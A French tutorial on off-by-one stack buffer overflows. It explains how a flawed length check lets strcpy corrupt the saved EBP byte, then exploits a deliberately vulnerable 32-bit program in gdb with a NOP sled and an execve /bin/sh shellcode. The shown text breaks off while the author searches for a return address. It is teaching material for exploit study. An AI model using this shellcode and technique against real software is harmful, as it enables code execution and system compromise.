Buffer overflow : off by one

Buffer overflow : off by one

Bien que ce type de buffer overflow devienne rare à cause de « protections » telles qu'un padding avant la sauvegarde des registres, je trouve néanmoins intéressant de s'y attarder car c'est un cas de figure qui « exige » de comprendre les mécanismes internes.

Une erreur souvent commise

Imaginons que nous déclarions une chaîne de caractères d'une longueur maximale de 12 caractères.

/* gcc -m32 -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack offbyone.c -o offbyone */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln(char *str)
{
    char name[12];
    strcpy(name, str);
}

int main(int argc, char *argv[])
{
    if(strlen(argv[1]) > 12)
    {
        printf("Tentative de débordement détectée !\n");
        return 1;
    }

    vuln(argv[1]);

    return 0;
}

En bon hacker que nous sommes, nous allons tenter de faire déborder tout ça.

./offbyone $(python -c 'print "A"*64')
Tentative de débordement détectée !

A première vue, il semblerait impossible de provoquer un débordement. Pourtant, une belle erreur se cache dans ce programme.

Si nous entrons moins de 12 caractères, le programme se déroulera normalement, si nous en mettons plus la tentative de débordement sera détectée mais et si nous essayions d'entrer très exactement 12 caractères ?

que20@hacktion:~$ ./offbyone $(python -c 'print "A"*12')
zsh: segmentation fault  ./offbyone $(python -c 'print "A"*12')

Tiens ? Une erreur de segmentation !

La raison de l'erreur est simple et vicieuse à la fois, la raison de l'erreur de segmentation demandera un plus d'explications mais nous verrons cela par la suite.

En fait, le problème se situe dans la condition et au niveau du strcpy (bon ok, en vrai il ne faudrait déjà pas utiliser strcpy... ^^).

strcpy() est une fonction permettant de copier une chaîne dans une autre mais ce qu'il faut bien avoir en tête, c'est qu'une chaîne de caractères en C se termine TOUJOURS par un null byte et qu'il faut compter ce caractère dans l'espace mémoire que l'on réserve. Une chaîne de 12 caractères « visibles » comporte en réalité 13 caractères : 12 caractères « visibles » + le null byte.

La fonction strlen() quand à elle renvoie la longueur d'une chaîne sans tenir compte du null byte. Un strlen("Hello world!") renvoie donc 12 MAIS il faudra au minimum 13 octets pour la stocker entièrement car il faudra y ajouter ce fameux null byte.

La condition de notre programme vérifie que la chaîne ne fasse pas plus de 12 caractères et interrompt le programme si cela est le cas. Seulement « plus de 12 caractères » veut dire qu'elle peut faire 12 caractères ou moins. «Hello world!» faisant très exactement 12 caractères, la condition n'est pas vérifiée et le programme se poursuit normalement.

Ensuite, dans la fonction vuln(), on initialise une chaîne pouvant contenir 12 caractères.

En mémoire, on peut représenter cela ainsi :

+---+---+---+---+---+---+---+---+---+---+----+----+
| 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 |
+---+---+---+---+---+---+---+---+---+---++---+----+
|   |   |   |   |   |   |   |   |   |   |    |    |
+---+---+---+---+---+---+---+---+---+---+----+----+

Nous avons notre strcpy qui va copier « Hello world! » dans notre tableau :

+---+---+---+---+---+---+---+---+---+---+----+----+
| 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 |
+---+---+---+---+---+---+---+---+---+---+----+----+
| H | e | l | l | o |   | w | o | r | l | d  | !  |
+---+---+---+---+---+---+---+---+---+---+----+----+

Seulement, comme dit plus haut, une chaîne se termine par un null byte, strcpy va donc également écrire ce null byte mais dans notre cas, vous pouvez remarquer qu'il n'y a plus assez de place mais ça, strcpy s'en fout royalement, il va quand même écrire ce null byte... mais à la treizième case (pour rappel, le C est « 0 based », c'est à dire que pour un tableau de taille n, les index vont de 0 à... n-1 et pas n : name[2] représente la troisième case et non la deuxième, name[12] représente la treizième case et non la douzième). On a donc un débordement du tableau de un octet (et on ne peut pas déborder plus loin que cela).

Preuve en « image » :

+---+---+---+---+---+---+---+---+---+---+----+----+
| 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12
+---+---+---+---+---+---+---+---+---+---+----+----+
| H | e | l | l | o |   | w | o | r | l | d  | !  | \0
+---+---+---+---+---+---+---+---+---+---+----+----+

Pour éviter cela, notre condition aurait dû être if(strlen(argv[1]) >= 12) et non pas if(strlen(argv[1] > 12) car en écrivant exactement 12 octets, le null byte se voit écrit une case trop loin.

Alors vous me direz que ce débordement est « infime », et vous avez raison, ce n'est qu'un seul malheureux octet après tout donc il n'y a pas de risques hein ? ... ... ... ... ... ... ... ... ... ... pourquoi ce silence ? ... ... ... ... ... ... ... attendez, vous voulez dire... qu'il y a un risque c'est cela ?

Eh bien oui, il y a un cas de figure assez précis où ce débordement d'un seul petit octet va nous permettre de compromettre notre programme. Oui, vous avez bien entendu, un seul octet va suffire ou plutôt ce que cet écrasement d'un seul octet va induire comme conséquences, parce qu'il en aura. Ce cas particulier, vous l'aurez deviné, est appelé « Off by one ».

La goutte qui fait déborder le vase

Souvenez vous des premiers articles, et plus particulièrement celui présentant la segmentation de la mémoire.

Lors d'un appel à une fonction, nous avions le schéma suivant :

+-------------------+ <- ESP
|                   |
|  local variables  |
|                   |
+-------------------+
| sebp (sauvegarde) |
+-------------------+
| seip (sauvegarde) |
+-------------------+ <- EBP
|       argv1       |
+-------------------+
|       argv2       |
+-------------------+
|    stack frame    |
|     of main()     |
+-------------------+

Dans les variables locales de notre fonction, nous avons seulement notre tableau name de 12 caractères. Nous allons aussi supposer que sebp vaut 0xdeadbeef (ce n'est pas réaliste mais c'est pour illustrer).

+-------------------+ <- ESP
|    |    |    |    |
+----+----+----+----+
|    |    |    |    |  <- name
+----+----+----+----+
|    |    |    |    |
+-------------------+
| ef | be | ad | de | <- sebp = 0xdeadbeef
+-------------------+
| seip (sauvegarde) |
+-------------------+ <- EBP
|       argv1       |
+-------------------+
|       argv2       |
+-------------------+
|    stack frame    |
|     of main()     |
+-------------------+

On va également développer le stack frame de la fonction main.

Voici le schéma après le strcpy.

+-------------------+ <- ESP
| H  | e  | l  | l  | <- name
+----+----+----+----+
| o  |    | w  | o  |
+----+----+----+----+
| r  | l  | d  | !  |
+-------------------+ <- EBP
| 00 | be | ad | de | <- sebp = 0xdeadbe00
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
|       argv2       |
+-------------------+
|                   |
|  local variables  |
|      of main      |
|                   |
+-------------------+
| sebp (sauvegarde) |
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
| ....              |

Comme vous pouvez le constater, notre null byte est écrit une case plus loin que notre tableau name, et il se fait que, dans ce cas-ci, la case après notre chaîne de caractères est celle du bit de poids faible de la sauvegarde de EBP.

En bref, la sauvegarde de EBP, après le débordement, ne vaut plus 0xdeadbeef mais 0xdeadbe00.

Bon, c'est cool tout ça mais qu'est ce que ça change concrètement et surtout pourquoi est ce que notre programme plante ?

En fait, la fonction appelée se terminera « correctement » mais c'est pour la fonction appelante que les choses vont un peu moins bien se passer...

This is the end

Pour bien comprendre en quoi l'écrasement de ce seul octet est un gros problème, il est nécessaire de comprendre ce qu'il se passe à la fin d'une fonction.

Les instructions suivantes seront exécutées.

MOV ESP, EBP
POP EBP
RET

Le RET correspond à un POP EIP où, grosso modo, on va prendre la valeur pointée par ESP pour la mettre dans EIP.

Analysons d'abord le cas où il n'y a aucun écrasement de la sauvegarde de EBP et où les choses se dérouleront sans problème.

Nous voici à la fin de la fonction appelée.

+-------------------+ <- ESP
| 41 | 41 | 41 | 41 |
+----+----+----+----+
| 42 | 42 | 42 | 42 | <- name
+----+----+----+----+
| 43 | 43 | 43 | 00 |
+-------------------+ <- EBP
| ef | be | ad | de | <- sebp
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
|       argv2       |
+-------------------+
|                   |
|  local variables  |
|      of main      |
|                   |
+-------------------+ <- 0xdeadbeef
| sebp (sauvegarde) |
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
| ....              |

On commence par réinitialiser ESP à EBP.

+-------------------+
| 41 | 41 | 41 | 41 |
+----+----+----+----+
| 42 | 42 | 42 | 42 | <- name
+----+----+----+----+
| 43 | 43 | 43 | 00 |
+-------------------+ <- EBP = ESP
| ef | be | ad | de | <- sebp
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
|       argv2       |
+-------------------+
|                   |
|  local variables  |
|      of main      |
|                   |
+-------------------+ <- 0xdeadbeef
| sebp (sauvegarde) |
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
| ....              |

Ensuite, on réinitialise EBP par la valeur de la sauvegarde de EBP. Dans ce cas-ci, 0xdeadbeef. ESP est incrémenté.

+-------------------+
| 41 | 41 | 41 | 41 |
+----+----+----+----+
| 42 | 42 | 42 | 42 | <- name
+----+----+----+----+
| 43 | 43 | 43 | 00 |
+-------------------+
| ef | be | ad | de | <- sebp
+-------------------+ <- ESP
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
|       argv2       |
+-------------------+
|                   |
|  local variables  |
|      of main      |
|                   |
+-------------------+ <- EBP = 0xdeadbeef
| sebp (sauvegarde) |
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
| ....              |

On peut maintenant dépiler, grace au RET, (qui correspond grosso modo à un POP EIP en assembleur) la sauvegarde de EIP et reprendre le cours de la fonction appelante.

A la fin de la fonction appelante, il se passe exactement la même chose.

+-------------------+
| 41 | 41 | 41 | 41 |
+----+----+----+----+
| 42 | 42 | 42 | 42 | <- name
+----+----+----+----+
| 43 | 43 | 43 | 00 |
+-------------------+
| ef | be | ad | de |
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
|       argv2       |
+-------------------+
|                   |
|  local variables  |
|      of main      |
|                   |
+-------------------+ <- EBP = ESP = 0xdeadbeef
| sebp (sauvegarde) |
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
| ....              |

On réinitialise EBP avec la sauvegarde du registre EBP

+-------------------+
| 41 | 41 | 41 | 41 |
+----+----+----+----+
| 42 | 42 | 42 | 42 | <- name
+----+----+----+----+
| 43 | 43 | 43 | 00 |
+-------------------+
| ef | be | ad | de |
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
|       argv2       |
+-------------------+
|                   |
|  local variables  |
|      of main      |
|                   |
+-------------------+ <- 0xdeadbeef
| sebp (sauvegarde) |
+-------------------+ <- ESP
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
| ....              |
| ....              | <- EBP

Et enfin, le RET final de la fonction va permettre de dépiler la valeur pointée par le sommet de la pile, c'est à dire ESP, et de placer cette valeur dans EIP.

Ca, c'est ce qu'il se passe quand tout se déroule bien ! Maintenant, analysons le cas où nous piétinons « malencontreusement » le dernier octet de la sauvegarde de EBP de la fonction appelée. ;)

Reprenons depuis le début, nous sommes donc à la fin de la fonction appelée et on réinitialise la valeur de ESP à celle d'EBP.

+-------------------+ <- ESP
| 41 | 41 | 41 | 41 |
+----+----+----+----+
| 42 | 42 | 42 | 42 | <- name
+----+----+----+----+
| 43 | 43 | 43 | 43 |
+-------------------+ <- EBP
| 00 | be | ad | de | <- sebp
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
|       argv2       |
+-------------------+
|                   |
|  local variables  |
|      of main      |
|                   |
+-------------------+ <- 0xdeadbeef
| sebp (sauvegarde) |
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
| ....              |



Adresses basses
+-------------------+
| 41 | 41 | 41 | 41 |
+----+----+----+----+
| 42 | 42 | 42 | 42 |
+----+----+----+----+
| 43 | 43 | 43 | 43 |
+-------------------+ <- EBP = ESP
| 00 | be | ad | de | <- sebp
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
|       argv2       |
+-------------------+
|                   |
|  local variables  |
|      of main      |
|                   |
+-------------------+ <- 0xdeadbeef
| sebp (sauvegarde) |
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
| ....              |
Adresses hautes

Jusque là, aucun changement à signaler.

Ensuite, EBP est réinitialisé à la valeur de la sauvegarde de EBP de la fonction appelée et c'est à partir de ce moment que les choses vont tout doucement commencer à dérailler mais sans pour autant directement provoquer une erreur (mais elle viendra par la suite, vous verrez). En effet, ici, la sauvegarde de EBP de la fonction appelée ne vaut plus 0xdeadbeef mais... 0xdeadbe00, on va donc se retrouver un peu « avant » l'adresse à laquelle le registre EBP aurait dû normalement être réinitialisé (le schéma n'est pas précis au niveau des calculs des adresses, c'est juste histoire de mieux « visualiser » le problème) et il se fait que 0xdeadbe00 tombe, par un « malheureux » hasard, au beau milieu de notre variable name[].

Adresses basses
+-------------------+
| 41 | 41 | 41 | 41 |
+----+----+----+----+ <- 0xdeadbe00 = EBP
| 42 | 42 | 42 | 42 |
+----+----+----+----+
| 43 | 43 | 43 | 43 |
+-------------------+
| 00 | be | ad | de | <- sebp
+-------------------+ <- ESP
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
|       argv2       |
+-------------------+
|                   |
|  local variables  |
|      of main      |
|                   |
+-------------------+ <- 0xdeadbeef
| sebp (sauvegarde) |
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
| ....              |
Adresses hautes

ESP étant toujours correct, on peut dépiler la sauvegarde de EIP et continuer l'exécution de la fonction appelante sans problème.

Adresses basses
+-------------------+
| 41 | 41 | 41 | 41 |
+----+----+----+----+ <- 0xdeadbe00 = EBP
| 42 | 42 | 42 | 42 |
+----+----+----+----+
| 43 | 43 | 43 | 43 |
+-------------------+
| 00 | be | ad | de | <- sebp
+-------------------+
| seip (sauvegarde) |
+-------------------+ <- ESP
|       argv1       |
+-------------------+
|       argv2       |
+-------------------+
|                   |
|  local variables  |
|      of main      |
|                   |
+-------------------+ <- 0xdeadbeef
| sebp (sauvegarde) |
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
| ....              |
Adresses hautes

On se retrouve à la fin de la fonction appelante et on procède aux mêmes étapes, sauf que cette fois-ci, les choses ne vont plus se dérouler aussi bien que cela...

On commence par réinitialiser la valeur de ESP à celle d'EBP sauf que comme notre registre EBP est corrompu, notre registre ESP va finir par être également corrompu !

Adresses basses
+-------------------+
| 41 | 41 | 41 | 41 |
+----+----+----+----+ <- 0xdeadbe00 = EBP = ESP
| 42 | 42 | 42 | 42 |
+----+----+----+----+
| 43 | 43 | 43 | 43 |
+-------------------+
| 00 | be | ad | de | <- sebp
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
|       argv2       |
+-------------------+
|                   |
|  local variables  |
|      of main      |
|                   |
+-------------------+ <- 0xdeadbeef
| sebp (sauvegarde) |
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
| ....              |
Adresses hautes

Ensuite, nous réinitialisons EBP avec valeur de la sauvegarde de EBP, qui se trouve « normalement » en EBP + 4 et qui n'est, bien évidemment, plus du tout la bonne puisqu'elle vaut ici 0x42424242 ! EBP part donc en voyage très loin de là où il aurait logiquement dû être.

   Adresses basses

| ....              | <- EBP = 0x42424242
| ....              |
| ....              |
| ....              |
| ....              |
+-------------------+
| 41 | 41 | 41 | 41 |
+----+----+----+----+ <- 0xdeadbe00
| 42 | 42 | 42 | 42 |
+----+----+----+----+ <- ESP = 0xdeadbe04
| 43 | 43 | 43 | 43 |
+-------------------+
| 00 | be | ad | de | <- sebp
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
|       argv2       |
+-------------------+
|                   |
|  local variables  |
|      of main      |
|                   |
+-------------------+ <- 0xdeadbeef
| sebp (sauvegarde) |
+-------------------+
| seip (sauvegarde) |
+-------------------+
|       argv1       |
+-------------------+
| ....              |

   Adresses hautes

Enfin, pour terminer, le RET provoque le dépilement de la valeur pointée par ESP et on tente de sauter à cette adresse, donc dans notre cas... 0x43434343 !

Et PAF le programme !

Nous venons ENFIN d'arriver à la conclusion de l'explication du plantage. J'imagine que les plus vifs auront compris ce que nous allons faire par la suite ; si l'on sait où mène notre sauvegarde d'EBP corrompue (sur le schéma c'est 0xdeadbe00 dont la valeur est 0x42424242) et que, par « malchance », celle-ci tombe dans un buffer que nous controlons, il suffira d'indiquer à cet endroit + 4 octets (donc 0xdeadbe04 sur le schéma, dont la valeur est 0x43434343) l'adresse à laquelle nous voulons sauter car cette adresse « finira », grâce au cheminement que nous venons de voir, dans EIP à la fin de la fonction appelante et si nous contrôlons EIP, nous contrôlons le flux d'exécution du programme ! Echec et mat ! :D

Bon, comme d'habitude, on ne va pas se limiter à la théorie, passons à la pratique ! :)

Exploitation

On va reprendre le même exemple mais avec un buffer un peu plus grand.

/* gcc -m32 -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack offbyone.c -o offbyone */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln(char *str)
{
    char name[512];
    strcpy(name, str);
}

int main(int argc, char *argv[])
{
    if(strlen(argv[1]) > 512)
    {
        printf("Tentative de débordement détectée !\n");
        return 1;
    }

    vuln(argv[1]);

    return 0;
}

Logiquement, en écrivant très exactement 512 octets, on devrait se retrouver avec une sauvegarde de EBP dont le bit de poids faible vaut 0x00.

Vérifions cela avec gdb :

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0804845b <+0>:     push   ebp
   0x0804845c <+1>:     mov    ebp,esp
   0x0804845e <+3>:     sub    esp,0x200
   0x08048464 <+9>:     push   DWORD PTR [ebp+0x8]
   0x08048467 <+12>:    lea    eax,[ebp-0x200]
   0x0804846d <+18>:    push   eax
   0x0804846e <+19>:    call   0x8048310 <strcpy@plt>
   0x08048473 <+24>:    add    esp,0x8
   0x08048476 <+27>:    leave
   0x08048477 <+28>:    ret
End of assembler dump.
gdb-peda$ b *vuln+24
Breakpoint 1 at 0x8048473: file offbyone.c, line 8.
gdb-peda$ r $(python -c 'print "A"*512')
Starting program: ~/offbyone $(python -c 'print "A"*512')
[----------------------------------registers-----------------------------------]
EAX: 0xffffd12c ('A' <repeats 200 times>...)
EBX: 0xf7fa6000 --> 0x1a8da8
ECX: 0xffffd7c0 ('A' <repeats 13 times>)
EDX: 0xffffd31f ('A' <repeats 13 times>)
ESI: 0x0
EDI: 0x0
EBP: 0xffffd32c --> 0xffffd300 ('A' <repeats 44 times>)
ESP: 0xffffd124 --> 0xffffd12c ('A' <repeats 200 times>...)
EIP: 0x8048473 (<vuln+24>:      add    esp,0x8)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048467 <vuln+12>: lea    eax,[ebp-0x200]
   0x804846d <vuln+18>: push   eax
   0x804846e <vuln+19>: call   0x8048310 <strcpy@plt>
=> 0x8048473 <vuln+24>: add    esp,0x8
   0x8048476 <vuln+27>: leave
   0x8048477 <vuln+28>: ret
   0x8048478 <main>:    push   ebp
   0x8048479 <main+1>:  mov    ebp,esp
[------------------------------------stack-------------------------------------]
0000| 0xffffd124 --> 0xffffd12c ('A' <repeats 200 times>...)
0004| 0xffffd128 --> 0xffffd5cd ('A' <repeats 200 times>...)
0008| 0xffffd12c ('A' <repeats 200 times>...)
0012| 0xffffd130 ('A' <repeats 200 times>...)
0016| 0xffffd134 ('A' <repeats 200 times>...)
0020| 0xffffd138 ('A' <repeats 200 times>...)
0024| 0xffffd13c ('A' <repeats 200 times>...)
0028| 0xffffd140 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048473 in vuln (str=0xffffd5cd 'A' <repeats 200 times>...) at offbyone.c:8
8           strcpy(name, str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffd32c
gdb-peda$ p *0xffffd32c
$2 = 0xffffd300
gdb-peda$

Mais c'est que c'est un joli null byte ça ! :D

Il nous reste la partie la plus compliquée : déterminer où finit par pointer exactement ESP dans notre buffer. Il faut savoir qu'il y a une petite différence entre le contexte hors et dans gdb. Cela est dû à certaines variables d'environnements présentes dans gdb ainsi que d'autres qui contiennent des chemins relatifs différents hors gdb. On va donc s'arranger pour que le contexte dans et hors gdb soit le même sinon on risque de s'arracher pas mal de cheveux.

Dans gdb, je commence par setter les variables d'environnements PWD et OLDPWD à leur valeur hors gdb. On peut créer/modifier une variable d'environnement sous gdb en tapant la commande « set env NOMVAR=VALEUR ». Hors gdb, je devrais ajouter deux variables d'environnements, LINES et COLUMNS, qui sont présentes dans gdb mais pas en dehors. Logiquement, après ces quelques opérations, on devrait alors avoir le même contexte et donc les mêmes adresses.

Bref, revenons à notre objectif : trouver dans notre buffer l'endroit qui sera finalement pointé par ESP. On peut y aller à tatons mais on peut aussi assez facilement le calculer. On sait que ESP pointera à l'endroit de la valeur corrompue de EBP + 4 et si on connait l'adresse de début du tableau on peut alors déterminer l'offset nécessaire grâce au petit calcul (EBP + 4) - ADRESSE DU DÉBUT DU TABLEAU. On aura donc ceci :

[offset][adresse qui finira dans EIP][reste pour arriver à 512 octets]

Si l'offset est assez large, on y placera notre shellcode précèdé d'un NOPSLED et la valeur qui finira dans EIP sera une adresse de ce NOPSLED. On obtiendra donc au final le schéma suivant :

    +-----------------+
   \|/                |
[nopsled][shellcode][EIP][reste]

Et si tout se passe bien, nous serons gratifié d'un shell ! :D

C'est parti ! On commence par placer un breakpoint juste après le strcpy et on affiche également l'adresse de début de notre variable name.

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0804845b <+0>:     push   ebp
   0x0804845c <+1>:     mov    ebp,esp
   0x0804845e <+3>:     sub    esp,0x200
   0x08048464 <+9>:     push   DWORD PTR [ebp+0x8]
   0x08048467 <+12>:    lea    eax,[ebp-0x200]
   0x0804846d <+18>:    push   eax
   0x0804846e <+19>:    call   0x8048310 <strcpy@plt>
   0x08048473 <+24>:    add    esp,0x8
   0x08048476 <+27>:    leave
   0x08048477 <+28>:    ret
End of assembler dump.
gdb-peda$ b *vuln+24
Breakpoint 1 at 0x8048473: file offbyone.c, line 8.
gdb-peda$ r $(python -c 'print "A"*512')
Starting program: ~/offbyone $(python -c 'print "A"*512')
[----------------------------------registers-----------------------------------]
EAX: 0xffffd12c ('A' <repeats 200 times>...)
EBX: 0xf7fa6000 --> 0x1a8da8
ECX: 0xffffd7c0 ('A' <repeats 13 times>)
EDX: 0xffffd31f ('A' <repeats 13 times>)
ESI: 0x0
EDI: 0x0
EBP: 0xffffd32c --> 0xffffd300 ('A' <repeats 44 times>)
ESP: 0xffffd124 --> 0xffffd12c ('A' <repeats 200 times>...)
EIP: 0x8048473 (<vuln+24>:      add    esp,0x8)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048467 <vuln+12>: lea    eax,[ebp-0x200]
   0x804846d <vuln+18>: push   eax
   0x804846e <vuln+19>: call   0x8048310 <strcpy@plt>
=> 0x8048473 <vuln+24>: add    esp,0x8
   0x8048476 <vuln+27>: leave
   0x8048477 <vuln+28>: ret
   0x8048478 <main>:    push   ebp
   0x8048479 <main+1>:  mov    ebp,esp
[------------------------------------stack-------------------------------------]
0000| 0xffffd124 --> 0xffffd12c ('A' <repeats 200 times>...)
0004| 0xffffd128 --> 0xffffd5cd ('A' <repeats 200 times>...)
0008| 0xffffd12c ('A' <repeats 200 times>...)
0012| 0xffffd130 ('A' <repeats 200 times>...)
0016| 0xffffd134 ('A' <repeats 200 times>...)
0020| 0xffffd138 ('A' <repeats 200 times>...)
0024| 0xffffd13c ('A' <repeats 200 times>...)
0028| 0xffffd140 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048473 in vuln (str=0xffffd5cd 'A' <repeats 200 times>...) at offbyone.c:8
8           strcpy(name, str);
gdb-peda$ p &name
$1 = (char (*)[512]) 0xffffd12c
gdb-peda$ x/a $ebp
0xffffd32c:     0xffffd300
gdb-peda$

Ok, EBP vaut 0xfffd300 et notre tableau débute à l'adresse 0xffffd12c, on peut calculer notre offset :

gdb-peda$ p/d (0xffffd300 + 4) - 0xffffd12c
$3 = 472
gdb-peda$

On a un offset 472 octets, suivit de l'adresse qui sera placée dans EIP et qui fait 4 octets et puis ce qu'il reste pour arriver à 512 octets, c'est à dire 512 - 476 = 36 octets. Comme dit ci-dessus, nous allons placer notre NOPSLED et notre shellcode dans l'offset. Le shellcode que je vais utiliser a une taille de 45 octets, on aura donc un NOPSLED de 472 - 45 ce qui nous donne 427 octets pour le NOPSLED.

Vérifions tout cela.

gdb-peda$ r $(python -c 'print "\x90"*427 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "AAAA" + "B"*36')Starting program: ~/offbyone $(python -c 'print "\x90"*427 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "AAAA" + "B"*36')

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7fa6000 --> 0x1a8da8
ECX: 0xffffd7c0 ('B' <repeats 13 times>)
EDX: 0xffffd31f ('B' <repeats 13 times>)
ESI: 0x0
EDI: 0x0
EBP: 0x68732f6e ('n/sh')
ESP: 0xffffd308 ('B' <repeats 36 times>)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd308 ('B' <repeats 36 times>)
0004| 0xffffd30c ('B' <repeats 32 times>)
0008| 0xffffd310 ('B' <repeats 28 times>)
0012| 0xffffd314 ('B' <repeats 24 times>)
0016| 0xffffd318 ('B' <repeats 20 times>)
0020| 0xffffd31c ('B' <repeats 16 times>)
0024| 0xffffd320 ('B' <repeats 12 times>)
0028| 0xffffd324 ("BBBBBBBB")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$

Yeah ! On tombe bien au bon endroit dans notre buffer ! Il ne nous reste plus qu'à trouver une adresse menant dans notre NOPSLED et remplacer « AAAA » par cette adresse, et si tout se déroule bien, un shell sauvage apparaitra !

gdb-peda$ x/200x $esp
0xffffd124:     0xffffd12c      0xffffd5cd      0x90909090      0x90909090
0xffffd134:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd144:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd154:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd164:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd174:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd184:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd194:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd1a4:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd1b4:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd1c4:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd1d4:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd1e4:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd1f4:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd204:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd214:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd224:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd234:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd244:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd254:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd264:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd274:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd284:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd294:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd2a4:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd2b4:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd2c4:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd2d4:     0xeb909090      0x76895e1f      0x88c03108      0x46890746
0xffffd2e4:     0x890bb00c      0x084e8df3      0xcd0c568d      0x89db3180
0xffffd2f4:     0x80cd40d8      0xffffdce8      0x69622fff      0x68732f6e
0xffffd304:     0x41414141      0x42424242      0x42424242      0x42424242
0xffffd314:     0x42424242      0x42424242      0x42424242      0x42424242
0xffffd324:     0x42424242      0x42424242      0xffffd300      0x080484b5
0xffffd334:     0xffffd5cd      0x00000000      0xf7e16a63      0x00000002
0xffffd344:     0xffffd3d4      0xffffd3e0      0xf7feb79a      0x00000002
0xffffd354:     0xffffd3d4      0xffffd374      0x08049790      0x0804821c
0xffffd364:     0xf7fa6000      0x00000000      0x00000000      0x00000000
0xffffd374:     0x6b5bf903      0x56293d13      0x00000000      0x00000000
0xffffd384:     0x00000000      0x00000002      0x08048360      0x00000000
0xffffd394:     0xf7ff0fe0      0xf7e16979      0xf7ffd000      0x00000002
0xffffd3a4:     0x08048360      0x00000000      0x08048381      0x08048478
0xffffd3b4:     0x00000002      0xffffd3d4      0x080484c0      0x08048530
0xffffd3c4:     0xf7febc50      0xffffd3cc      0x0000001c      0x00000002
0xffffd3d4:     0xffffd5a1      0xffffd5cd      0x00000000      0xffffd7ce
